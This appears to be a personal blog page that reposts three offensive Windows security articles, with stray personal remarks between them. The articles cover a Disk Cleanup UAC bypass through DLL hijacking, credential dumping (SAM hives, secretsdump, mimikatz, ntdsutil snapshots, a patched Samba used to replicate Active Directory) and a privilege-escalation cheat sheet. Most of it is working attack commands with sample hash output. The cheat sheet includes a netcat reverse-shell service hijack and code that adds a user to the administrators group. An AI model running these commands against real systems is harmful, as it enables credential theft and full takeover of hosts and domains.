Thursday, May 17, 2018

Matt Graeber (@mattifestation) and I recently dug into Windows 10, and discovered a rather interesting method of bypassing User Account Control (if you aren’t familiar with UAC you can read more about it here). Currently, there are a couple of public UAC bypass techniques, most of which require a privileged file copy using the IFileOperation COM object or WUSA extraction to take advantage of a DLL hijack. You can dig into some of the public bypasses here (by @hfiref0x). The technique covered in this post differs from the other methods and provides a useful alternative as it does not rely on a privileged file copy or any code injection.

A common technique used to investigate loading behavior on Windows is to use SysInternals Process Monitor to analyze how a process behaves when executed. After investigating some default Scheduled Tasks that exist on Windows 10 and their corresponding actions, we found that a scheduled task named “SilentCleanup” is configured on stock Windows 10 installations to be launchable by unprivileged users but to run with elevated/high integrity privileges. To find this, we simply went through each task and inspected the security options for “Run with Highest Privileges” to be checked with a non-elevated User Account (such as ‘Users’).

Taking a closer look with procmon, we found that the actual process started by the scheduled task, cleanmgr.exe, auto-elevates due to “execute with highest privileges” being set in the task configuration.

Let’s dive in a bit more. When cleanmgr.exe executes, it creates a new folder with the name of a GUID in “C:\Users\\AppData\Local\Temp”.

Once cleanmgr.exe creates the temporary folder, it then copies multiple DLLs along with “dismhost.exe” into the new folder:

After copying DismHost.exe and its DLLs to “C:\Users\\AppData\Temp\”, cleanmgr.exe then starts “dismhost.exe” out of the newly created path as a high integrity process:

Since dismhost.exe launches out of “C:\Users\\AppData\Local\Temp\”, it begins to load DLLs out of the same folder in a certain order:

Because the current medium integrity process has write access to the user’s %TEMP% directory, it is possible to hijack a DLL loaded by dismhost.exe and obtain code execution in a high integrity process. This is commonly known as a “BypassUAC” attack.
Since this particular situation is a race condition, we have to replace the target DLL before dismhost.exe loads it. We examined the entire process more closely and determined that “LogProvider.dll” is the last DLL loaded by dismhost.exe, giving us the best chance for a hijack opportunity. With this information, we can use a WMI event to monitor for the creation of “C:\Users\\AppData\Local\Temp\” and then assign that WMI event an action of hijacking “LogProvider.dll” by copying our “malicious” DLL into “C:\Users\\AppData\Local\Temp\” and naming it “LogProvider.dll”. Since this action happens before dismhost.exe loads it, it will load our DLL instead of the intended one.

Once dismhost.exe loads the DLL, it will load as high integrity, allowing us to bypass User Access Control and obtain code execution as a high integrity process.

After additional testing, this technique does not apply to standard user accounts as cleanmgr.exe does not extract any files to %TEMP%. When executed as a standard user in low or medium integrity, the task runs as medium integrity and never elevates past that.

Matt Graeber (@mattifestation) wrote an excellent PoC PowerShell script that will register a WMI event to monitor for the creation of the GUID folder by cleanmgr.exe and once detected, it will take the specified DLL and copy it to the GUID folder with the name of “LogProvider.dll”. Once dismhost.exe goes to load “LogProvider.dll”, it will be our malicious DLL instead of the legitimate one, thus bypassing UAC and giving us code execution in High Integrity context. You can find the script here: https://gist.github.com/mattifestation/b4072a066574caccfa07fcf723952d54

To test this, you simply need the PoC script and a DLL with a standard export of dllmain. For testing, you can either create your own DLL or use a simple MessageBox one located here: https://github.com/enigma0x3/MessageBox

This technique differs from the other public techniques by having a few benefits that can be handy:

This technique does not require any process injection, meaning the attack won’t get flagged by security solutions that monitor for this type of behavior.
There is no privileged file copy required. Most UAC bypasses require some sort of privileged file copy in order to get a malicious DLL into a secure location to setup a DLL hijack. Since the scheduled task copies the required stuff to %TEMP%, no privileged file copy is required.
This technique cleans up after itself. After the scheduled task is done (and loads our malicious DLL), the task deletes the GUID folder (and files) that it created in %TEMP%.
This technique works with the UAC level being set at its highest setting (“Always Notify”) since the task is set to run with “Highest Privileges”. The majority of the public UAC bypasses rely on the IFileOperation COM object to perform a privileged file copy. IFileOperation honors the “Always Notify” UAC setting and prompts when set, causing the privileged file copy to fail:

This was disclosed to Microsoft Security Response Center (MSRC) on 07/20/2016. As expected, they responded by noting that UAC isn’t a security boundary, so this doesn’t classify as a security vulnerability, as stated here. While not a vulnerability, it does allow an attacker an alternate method to move to high integrity that differs from previous bypasses and introduces one more location or chokepoint that must be monitored to observe attacker behavior.

This particular technique can be remediated or fixed by disabling the task or removing the requirement for running with highest privileges. Further, if you would like to monitor for this attack, you could utilize methods/signatures to look for new WMI events as it is required to monitor for new folder creation for this attack to succeed. Combining this with App/DLL whitelisting and monitoring for abnormal modules being loaded (e.g. Sysmon event ID 7) would also limit the success of such an attack.

https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/

I'm not shamed of my poverty...this next month, i have a budget for food, of 95€..meaning I have to eat each day with 3.15€ ! Once, long years ago, I was on an examination of International Economics, having guaranteed a job in the Oil business. War will go...niet problema. I'm just having fun!

...because you gentlemen, are serious sons of whoores...we might need this, to bypass you Translates ReactOS and Windows error codes into readable messages

Translates ReactOS and Windows error codes into readable messages

reactos/Message_Translator

Message_Translator - Translates ReactOS and Windows error codes into readable messages

GITHUB.COM

https://github.com/reactos/Message_Translator

Once you’ve fully compromised a Windows host (by gaining SYSTEM-level privileges)...The following techniques can be used to dump Windows credentials from an already-compromised Windows host

Dumping credentials on a Windows host

Once you’ve fully compromised a Windows host (by gaining SYSTEM-level privileges), your next move is to gather as many credentials as possible because they could grant you a greater level of access on the network, or the same passwords could be used elsewhere on other critical assets.

If the Windows host is part of an Active Directory domain, you’ll be on the hunt for privileged domain accounts, and your target will be (preferably) a member of the Domain Admins group.

The following techniques can be used to dump Windows credentials from an already-compromised Windows host.

Registry Hives

Get a copy of the SYSTEM, SECURITY and SAM hives and download them back to your local system:

C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save

Password Hashes

Get the password hashes of the local accounts, the cached domain credentials and the LSA secrets in a single run with secretsdump:

$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
Impacket v0.9.11-dev - Copyright 2002-2013 Core Security Technologies

[*] Target system bootKey: 0x602e8c2947d56a95bf9cfad9e0bbbace
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
renadm:500:aad3b435b51404eeaad3b435b51404ee:3e24dcead23468ce597d6883c576f657:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
support:1000:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
[*] Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)
hdes:6ec74661650377df488415415bf10321:securus.corp.com:SECURUS:::
Administrator:c4a850e0fee5af324a57fd2eeb8dbd24:SECURUS.CORP.COM:SECURUS:::
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:2fb3672702973ac1b9ade0acbdab432f
...

Local SAM Hashes

Crack the LM hashes (if any) using Ophcrack.
Crack the NT hashes using JtR or hashcat.
Remember that if you can’t crack promising password hashes, you can just pass the hashagainst other accounts using the same password on other hosts or even the domain.

Cached Domain Credentials

These are the password hashes of domain users that have logged on to the host previously.
Crack them using JtR or hashcat. Remember to specify the right format, which is either mscash(xp, w2k3) or mscash2 (vista, w7, w2k8 …). Note that you can’t perform “pass-the-hash” style attacks with this type of hash.

LSA Secrets

Here, you will find account passwords for services that are set to run under actual Windows user accounts (as opposed to Local System, Network Service and Local Service), the auto-logon password and more.

If the Windows host is part of a domain, you will find the domain credentials of the machine account with which you can authenticate to the domain to list domain users and admins as well as browsing shares and so on.

Use pth on Kali Linux or wce on your own Windows system to use these credentials.

$ pth-net rpc user -U 'securus\john-pc$%aad3b435b51404eeaad3b435b51404ee:2fb3672702973ac1b9ade0acbdab432f' -S dc1.securus.corp.com
Administrator
hdes
...

Browse shares for passwords, look on the domain controller for passwords in Group Policy Preferences (GPP) that can be decrypted:

C:\> wce.exe -s john-pc:securus:aad3b435b51404eeaad3b435b51404ee:2fb3672702973ac1b9ade0acbdab432f
C:\> findstr /S cpassword \\dc1.securus.corp.com\sysvol\*.xml
\\192.168.122.55\sysvol\securus.corp.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml: ="" description="" cpassword="1MJPOM4MqvDWWJq5IY9nJqeUHMMt6N2CUtb7B/jRFPs" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="1" subAuthority="RID_ADMIN" userName="Administrator (built-in)"/>
C:\> ruby gppdecrypt.rb 1MJPOM4MqvDWWJq5IY9nJqeUHMMt6N2CUtb7B/jRFPs
1q2w3e4r5t

In-Memory Credentials

Dump clear-text passwords from memory using mimikatz and the Windows Task Manager to dump the LSASS process.

To do this, dump the lsass.exe process to a file using Windows built-in Task Manager with right-clicking “lsass.exe” then selecting “Create Dump File” (since Vista) or Procdump (pre Vista) – alternatively, use some powershell-fu (see carnal0wnage blog post):

C:\> procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp 2>&1

Then dump the credentials offline using mimikatz and its minidump module:

C:\> mimikatz.exe log "sekurlsa::minidump lsass.dmp" sekurlsa::logonPasswords exit

Make sure you run mimikatz on the same major version and same architecture you pulled the process dump from (refer to this).

Alternatively, you can upload and run wce on the host, but the binary is likely to get picked up by most Anti Virus software. Also, note that wce-v1.41beta still doesn’t seem to dump the passwords of outbound SMB sessions (that can be listed with “net use” on the compromised Windows system), although mimikatz will.

Credential Manager

When a user authenticates to a network share, a proxy, or uses a piece of client software and ticks the “Remember my password” box, the password is typically stored in an encrypted vault using the Windows Data Protection API. You can see every saved credential in the Credential Manager (accessed through User Accounts in the Control Panel), and you can dump them with Network Password Recovery. Remember to run the 64-bit version on a 64-bit Windows instances, or you won’t get them all.

Protected Storage

Dump any passwords remembered in IE, Outlook or MSN using Protected Storage PassView.

Third-party software

NirSoft offers many tools to recover passwords stored by third-party software.

Dumping domain user hashes from the Domain Controller

These next techniques are used for dumping credentials when you already have access to a Domain Controller:

Volume Shadow Copy

This technique consists of retrieving the Active Directory database from the Directory Service running on the Domain Controller, also known as the “ntds.dit” file. It requires the attacker to interactively logon to the Domain Controller via Remote Desktop or “psexec” – the idea is to use the Volume Shadow Copy functionality to grab a copy of the “ntds.dit” file, which would be locked & protected from read access otherwise.

First, take note of the state of the Volume Shadow Copy service before going any further. If the Volume Shadow Copy service is not already running, which isn’t by default, then using ntdsutil or vssadmin as described below will start the service for you. Remember to set the service back to its original state once finished.

Then, confirm the location of the ntds.dit file from the “DSA Database file” parameter:

C:\> reg.exe query hklm\system\currentcontrolset\services\ntds\parameters

At this stage, check the current size of the ntds.dit file and make sure there is at least twice as much free disk space. Once this is done, use the Windows built-in command-line tool ntdsutil to create a snapshot of the active directory database.

C:\> ntdsutil
ntdsutil: snapshot
snapshot: activate instance NTDS
Active instance set to "NTDS".
snapshot: list all
No snapshots found.
// If there is a recent snapshot (ie. backups scheduled with Windows Server Backup), then consider using that instead of creating a new one.)
snapshot: create
Creating snapshot...
Snapshot set {ef026688-4c02-48b6-bc24-24df118eb7a2} generated successfully.
snapshot: list all
1: 2013/10/24:18:33 {ef026688-4c02-48b6-bc24-24df118eb7a2}
2: C: {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1}
snapshot: mount 2
Snapshot {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1} mounted as C:\$SNAP_201310241833_VOLUMEC$\

Now download the ntds.dit file from C:\$SNAP_201310241833_VOLUMEC$\Windows\NTDS\ and also get a copy of the SYSTEM registry hive (eg. reg.exe save HKLM\SYSTEM c:\system.save).

Cleanup when done. Delete the copy of the system hive, and remove the snapshot:

snapshot: list all
1: 2013/10/24:18:33 {ef026688-4c02-48b6-bc24-24df118eb7a2}
2: C: {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1} C:\$SNAP_201310241833_VOLUMEC$\
snapshot: unmount 2
Snapshot {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1} unmounted.
snapshot: list all
1: 2013/10/24:18:33 {ef026688-4c02-48b6-bc24-24df118eb7a2}
2: C: {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1}
snapshot: delete 1
Snapshot {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1} deleted.
snapshot: ^C

Restore the VSS service back to its original state (ie. stop the service if it wasn’t running before, disable the service if you had to enable it etc.).

Note that you could also use the Windows built-in tool vssadmin (as in this howto), however vssadmin will not get you a “consistent” snapshot whereas ntdsutil is the correct tool to properly backup the ntds database. That said, ntdsutil on Windows 2003 can’t create snapshots so vssadmin should be used instead in this particular case.

If ntds.dit appears to be corrupted, use the built-in command-line tool esentutl to try to repair it:

C:\> esentutl /p /o ntds.dit

Now it’s time to dump password hashes using secretsdump:

$ secretsdump.py -system system.save -ntds ntds.dit LOCAL
Impacket v0.9.11-dev - Copyright 2002-2013 Core Security Technologies

[*] Target system bootKey: 0x24f65609994cdbec01b8b0b61cf6a332
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] Pek found and decrypted: 0xca47b3a8b3477cec0a774bed669c3d9f
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a881324bad161293dedc71817988d944:::
...

You can also dump the password history with the -history option (since r961).

AD Replication (EXPERIMENTAL)

This technique is less intrusive than the Volume Shadow Copy technique as it does not require you to create a snapshot of the AD database, start the VSS service, or even to interactively logon to the DC. It is also your best bet if the server has been hardened by stripping administrators of Se* privileges, completely disabling the VSS service or others, forbidding the creation of new services etc.

This technique consists of replicating the Active Directory database locally on your own system. AD replication normally happens when a new DC is added to a domain, however adding a DC is rather intrusive as it creates new objects within the AD database and leaves permanent marks even after the DC has been removed. Therefore we need a tool that only performs the replication step, and nothing else.

To my knowledge, there are no public tools to do this yet, although this technique has been talked about before at SSTIC 2010 by Aurelien Bordes who gave the lightning talk “Fiabilisation d’outils” and did a live demo of his private tool.

Instead of writing a standalone tool from the ground up, we can just modify Samba for our own purposes as it already implements the entire procedure of adding a new DC to a domain. Our changes simply consist of disabling each step that pushes changes to the AD in order to only retain the replication step.

Here is our amazing patch for samba-4.1.0:

--- ./src/samba-4.1.0/python/samba/join.py 2013-11-17 04:08:05.393333375 +1100
+++ /usr/lib/python2.7/site-packages/samba/join.py 2013-11-17 04:29:22.209999075 +1100
@@ -1053,6 +1053,11 @@
ctx.nc_list = [ ctx.config_dn, ctx.schema_dn ]
ctx.full_nc_list = [ctx.base_dn, ctx.config_dn, ctx.schema_dn ]

+ ctx.ntds_guid = misc.GUID(ctx.samdb.schema_format_value(“objectGUID”, ‘\x84\xb9\xe6\xb1t[\xb3A\x9e\xcbkwvd2u')) # any GUID will do
+ ctx.join_provision()
+ ctx.join_replicate()
+ return
+
if not ctx.subdomain:

After applying this patch, prepare your system to perform the replication process:

# rm -fr /var/lib/samba; mkdir /var/lib/samba; rm -f /etc/samba/smb.conf
# echo nameserver 192.168.122.55 > /etc/resolv.conf # this is the IP address of the DC

Now, launch the replication:

# samba-tool domain join securus.corp.com DC -U securus\\administrator%Bonjour1 --realm=securus.corp.com
Finding a writeable DC for domain 'securus.corp.com'
Found DC dc1.securus.corp.com
workgroup is SECURUS
realm is securus.corp.com
Calling bare provision
More than one IPv4 address found. Using 192.168.122.25
No IPv6 address will be assigned
Provision OK for domain DN DC=securus,DC=corp,DC=com
Starting replication
Did not manage to negotiate mandetory feature SIGN for dcerpc auth_level 6
Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[402] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[804] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[1206] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[1553] linked_values[0]
Analyze and apply schema objects
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[402] linked_values[0]
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[804] linked_values[0]
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[1206] linked_values[0]
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[1608] linked_values[1]
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[1622] linked_values[11]
Replicating critical objects from the base DN of the domain
Partition[DC=securus,DC=corp,DC=com] objects[100] linked_values[24]
Partition[DC=securus,DC=corp,DC=com] objects[347] linked_values[27]
Done with always replicated NC (base, config, schema)
Committing SAM database
Joined domain SECURUS (SID S-1-5-21-427569568-2812416765-2687365192) as a DC

Then, use the Samba buitlin tool pdbedit to dump the NT hashes locally:

# pdbedit -L -w
Administrator:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:1C3383C792692C7B897A8CCF50ADE8F7:[U ]:LCT-529540CA:
hdes:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:833966FB79EE1554A3D4B900E9337FFD:[UX ]:LCT-528D7BA5:

Samba doesn’t seem to provide a tool to dump the password history, or the LM hashes (if the DC stores them), but you can use this simple python script samba-pwdump.py to extract them directly from the LDB database:

# ./samba-pwdump.py '/var/lib/samba/private/sam.ldb.d/DC=SECURUS,DC=CORP,DC=COM.ldb' -history
Administrator:500:43d119e8b3d8710bc2265b23734e0dac:a881324bad161293dedc71817988d944:::
jdoe:1111:b34ce522c3e4c877664345140a852f61:077cccc23f8ab7031726a3b70c694a49:::
jdoe_history0:1111:c23413a8a1e7665fccf9155e3e7db453:316c5ae8a7b5dfce4a5604d17d9e976e:::

To highlight any differences before and after the replication, I compared the LDIF exports of the Root DSE and the base DNs of the Active Directory:

#!/bin/bash
# dump Root DSE
ldapsearch -h 192.168.122.55 -x -D 'SECURUS\Administrator' -w Bonjour1 -b "" -s base 'objectclass=*'
# dump base DNs
contexts=('DC=securus,DC=corp,DC=com' 'CN=Configuration,DC=securus,DC=corp,DC=com' 'CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com' 'DC=DomainDnsZones,DC=securus,DC=corp,DC=com' 'DC=ForestDnsZones,DC=securus,DC=corp,DC=com')
for ctx in "${contexts[@]}"; do
ldapsearch -h 192.168.122.55 -x -D 'SECURUS\Administrator' -w Bonjour1 -b "$ctx" -s sub 'objectclass=*'
done

The only differences are the logonCount and lastLogon attributes of the domain admin account that have been incremented. Hence the highestCommitedUSN attribute of the Root DSE has been incremented as well. The replication will however generate “Directory Service Access” events (event ID 4672) in the Windows Security log, which result from gaining a privileged access to the AD. Other events could also be logged if some other categories are enabled (4932, 4928 …). Lastly, the replication does not change anything in the registry.

Finally, please remember that this technique comes with the usual disclaimer as it has only been tested in a lab so far, against a DC running Windows 2008 R2 SP1, and from a Archlinux host with the package samba-4.1.0-1 installed and the above patch applied.

https://www.securusglobal.com/community/2013/12/20/dumping-windows-credentials/

here I am...on my poor bastard life

Privilege Escalation Windows

We now have a low-privileges shell that we want to escalate into a privileged shell.

Basic Enumeration of the System

Before we start looking for privilege escalation opportunities we need to understand a bit about the machine. We need to know what users have privileges. What patches/hotfixes the system has.

# Basics
systeminfo
hostname

# Who am I?
whoami
echo %username%

# What users/localgroups are on the machine?
net users
net localgroups

# More info about a specific user. Check if user has privileges.
net user user1

# View Domain Groups
net group /domain

# View Members of Domain Group
net group /domain 

# Firewall
netsh firewall show state
netsh firewall show config

# Network
ipconfig /all
route print
arp -A

# How well patched is the system?
wmic qfe get Caption,Description,HotFixID,InstalledOn

Cleartext Passwords

Search for them

findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini

#Find all those strings in config files.
dir /s *pass* == *cred* == *vnc* == *.config*

# Find all passwords in all files.
findstr /spin "password" *.*
findstr /spin "password" *.*

In Files

These are common files to find them in. They might be base64-encoded. So look out for that.

c:\sysprep.inf
c:\sysprep\sysprep.xml
c:\unattend.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml

dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b 
dir c:\ /s /b | findstr /si *vnc.ini

In Registry

# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"

# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Service only available from inside

Sometimes there are services that are only accessible from inside the network. For example a MySQL server might not be accessible from the outside, for security reasons. It is also common to have different administration applications that is only accessible from inside the network/machine. Like a printer interface, or something like that. These services might be more vulnerable since they are not meant to be seen from the outside.

netstat -ano

Example output:

Proto  Local address      Remote address     State        User  Inode  PID/Program name
    -----  -------------      --------------     -----        ----  -----  ----------------
    tcp    0.0.0.0:21         0.0.0.0:*          LISTEN       0     0      -
    tcp    0.0.0.0:5900       0.0.0.0:*          LISTEN       0     0      -
    tcp    0.0.0.0:6532       0.0.0.0:*          LISTEN       0     0      -
    tcp    192.168.1.9:139    0.0.0.0:*          LISTEN       0     0      -
    tcp    192.168.1.9:139    192.168.1.9:32874  TIME_WAIT    0     0      -
    tcp    192.168.1.9:445    192.168.1.9:40648  ESTABLISHED  0     0      -
    tcp    192.168.1.9:1166   192.168.1.9:139    TIME_WAIT    0     0      -
    tcp    192.168.1.9:27900  0.0.0.0:*          LISTEN       0     0      -
    tcp    127.0.0.1:445      127.0.0.1:1159     ESTABLISHED  0     0      -
    tcp    127.0.0.1:27900    0.0.0.0:*          LISTEN       0     0      -
    udp    0.0.0.0:135        0.0.0.0:*                       0     0      -
    udp    192.168.1.9:500    0.0.0.0:*                       0     0      -

Look for LISTENING/LISTEN. Compare that to the scan you did from the outside.
Does it contain any ports that are not accessible from the outside?

If that is the case, maybe you can make a remote forward to access it.

# Port forward using plink
plink.exe -l root -pw mysecretpassword 192.168.0.101 -R 8080:127.0.0.1:8080

# Port forward using meterpreter
portfwd add -l  -p  -r 
portfwd add -l 3306 -p 3306 -r 192.168.1.101

So how should we interpret the netstat output?

Local address 0.0.0.0
Local address 0.0.0.0 means that the service is listening on all interfaces. This means that it can receive a connection from the network card, from the loopback interface or any other interface. This means that anyone can connect to it.

Local address 127.0.0.1
Local address 127.0.0.1 means that the service is only listening for connection from the your PC. Not from the internet or anywhere else. This is interesting to us!

Local address 192.168.1.9
Local address 192.168.1.9 means that the service is only listening for connections from the local network. So someone in the local network can connect to it, but not someone from the internet. This is also interesting to us!

Kernel exploits

Kernel exploits should be our last resource, since it might but the machine in an unstable state or create some other problem with the machine.

Identify the hotfixes/patches

systeminfo
# or
wmic qfe get Caption,Description,HotFixID,InstalledOn

Python to Binary

If we have an exploit written in python but we don't have python installed on the victim-machine we can always transform it into a binary with pyinstaller. Good trick to know.

Scheduled Tasks

Here we are looking for tasks that are run by a privileged user, and run a binary that we can overwrite.

schtasks /query /fo LIST /v

This might produce a huge amount of text. I have not been able to figure out how to just output the relevant strings with findstr. So if you know a better way please notify me. As for now I just copy-paste the text and past it into my linux-terminal.

Yeah I know this ain't pretty, but it works. You can of course change the name SYSTEM to another privileged user.

cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM

Change the upnp service binary

sc config upnphost binpath= "C:\Inetpub\nc.exe 192.168.1.101 6666 -e c:\Windows\system32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc config upnphost depend= ""

Weak Service Permissions

Services on windows are programs that run in the background. Without a GUI.

If you find a service that has write permissions set to everyone you can change that binary into your custom binary and make it execute in the privileged context.

First we need to find services. That can be done using wmci or sc.exe. Wmci is not available on all windows machines, and it might not be available to your user. If you don't have access to it, you can use sc.exe.

WMCI

wmic service list brief

This will produce a lot out output and we need to know which one of all of these services have weak permissions. In order to check that we can use the icacls program. Notice that icacls is only available from Vista and up. XP and lower has cacls instead.

As you can see in the command below you need to make sure that you have access to wimc, icaclsand write privilege in C:\windows\temp.

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt

for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"

Binaries in system32 are excluded since they are mostly correct, since they are installed by windows.

sc.exe

sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txt

FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt

FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt

FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt

Now you can process them one by one with the cacls command.

cacls "C:\path\to\file.exe"

Look for Weakness

What we are interested in is binaries that have been installed by the user. In the output you want to look for BUILTIN\Users:(F). Or where your user/usergroup has (F) or (C) rights.

Example:

C:\path\to\file.exe 
BUILTIN\Users:F
BUILTIN\Power Users:C 
BUILTIN\Administrators:F 
NT AUTHORITY\SYSTEM:F

That means your user has write access. So you can just rename the .exe file and then add your own malicious binary. And then restart the program and your binary will be executed instead. This can be a simple getsuid program or a reverse shell that you create with msfvenom.

Here is a POC code for getsuid.

#include 
int main ()
{
int i;
    i = system("net localgroup administrators theusername /add");
return 0;
}

We then compile it with mingw like this:

i686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe

Restart the Service

Okay, so now that we have a malicious binary in place we need to restart the service so that it gets executed. We can do this by using wmic or net the following way:

wmic service NAMEOFSERVICE call startservice

net stop [service name] && net start [service name].

The binary should now be executed in the SYSTEM or Administrator context.

Migrate the meterpreter shell

If your meterpreter session dies right after you get it you need migrate it to a more stable service. A common service to migrate to is winlogon.exe since it is run by system and it is always run. You can find the PID like this:

wmic process list brief | find "winlogon"

So when you get the shell you can either type migrate PID or automate this so that meterpreter automatically migrates.

http://chairofforgetfulness.blogspot.cl/2014/01/better-together-scexe-and.html

Unquoted Service Paths

Find Services With Unquoted Paths

# Using WMIC
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

# Using sc
sc query
sc qc service name

# Look for Binary_path_name and see if it is unquoted.

If the path contains a space and is not quoted, the service is vulnerable.

Exploit It

If the path to the binary is:

c:\Program Files\something\winamp.exe

We can place a binary like this

c:\program.exe

When the program is restarted it will execute the binary program.exe, which we of course control. We can do this in any directory that has a space in its name. Not only program files.

This attack is explained here:
http://toshellandback.com/2015/11/24/ms-priv-esc/

There is also a metasploit module for this is: exploit/windows/local/trusted_service_path

Vulnerable Drivers

Some driver might be vulnerable. I don't know how to check this in an efficient way.

# List all drivers
driverquery

AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

http://toshellandback.com/2015/11/24/ms-priv-esc/

Group Policy Preference

If the machine belongs to a domain and your user has access to System Volume Information there might be some sensitive files there.

First we need to map/mount that drive. In order to do that we need to know the IP-address of the domain controller. We can just look in the environment-variables

# Output environment-variables
set

# Look for the following:
LOGONSERVER=\\NAMEOFSERVER
USERDNSDOMAIN=WHATEVER.LOCAL

# Look up ip-addres
nslookup nameofserver.whatever.local

# It will output something like this
Address:  192.168.1.101

# Now we mount it
net use z: \\192.168.1.101\SYSVOL

# And enter it
z:

# Now we search for the groups.xml file
dir Groups.xml /s

If we find the file with a password in it, we can decrypt it like this in Kali

gpp-decrypt encryptedpassword

Services\Services.xml: Element-Specific Attributes
ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element
Printers\Printers.xml: SharedPrinter Element
Drives\Drives.xml: Element-Specific Attributes
DataSources\DataSources.xml: Element-Specific Attributes

Escalate to SYSTEM from Administrator

On Windows XP and Older

If you have a GUI with a user that is included in Administrators group you first need to open up cmd.exefor the administrator. If you open up the cmd that is in Accessories it will be opened up as a normal user. And if you rightclick and do Run as Administrator you might need to know the Administrators password. Which you might not know. So instead you open up the cmd from c:\windows\system32\cmd.exe. This will give you a cmd with Administrators rights.

From here we want to become SYSTEM user. To do this we run:

First we check what time it is on the local machine:

time

# Now we set the time we want the system CMD to start. Probably one minuter after the time.
at 01:23 /interactive cmd.exe

And then the cmd with SYSTEM privs pops up.

Vista and Newer

You first need to upload PsExec.exe and then you run:

psexec -i -s cmd.exe

Kitrap

On some machines the at 20:20 trick does not work. It never works on Windows 2003 for example. Instead you can use Kitrap. Upload both files and execute vdmaillowed.exe. I think it only works with GUI.

vdmallowed.exe
vdmexploit.dll

Using Metasploit

So if you have a metasploit meterpreter session going you can run getsystem.

Post modules

Some interesting metasploit post-modules

First you need to background the meterpreter shell and then you just run the post modules.
You can also try some different post modules.

use exploit/windows/local/service_permissions

post/windows/gather/credentials/gpp

run post/windows/gather/credential_collector 

run post/multi/recon/local_exploit_suggester

run post/windows/gather/enum_shares

run post/windows/gather/enum_snmp

run post/windows/gather/enum_applications

run post/windows/gather/enum_logged_on_users

run post/windows/gather/checkvm

https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html

Privilege Escalation - Windows · Total OSCP Guide